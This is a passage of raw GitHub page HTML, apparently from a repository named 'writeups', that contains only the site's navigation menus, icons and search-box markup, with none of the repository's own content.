class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="183327322" data-scoped-search-url="/guysudai1/writeups/search" data-owner-scoped-search-url="/users/guysudai1/search" data-unscoped-search-url="/search" data-turbo="false" action="/guysudai1/writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="5o2v+Be4TxMGT6to8kq3hzKClSIcXFfFFVmzaBNu7Y9xdCv63v6Y6opaHWdDRxHI9Xv+hGpofX703F6gEzySJw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 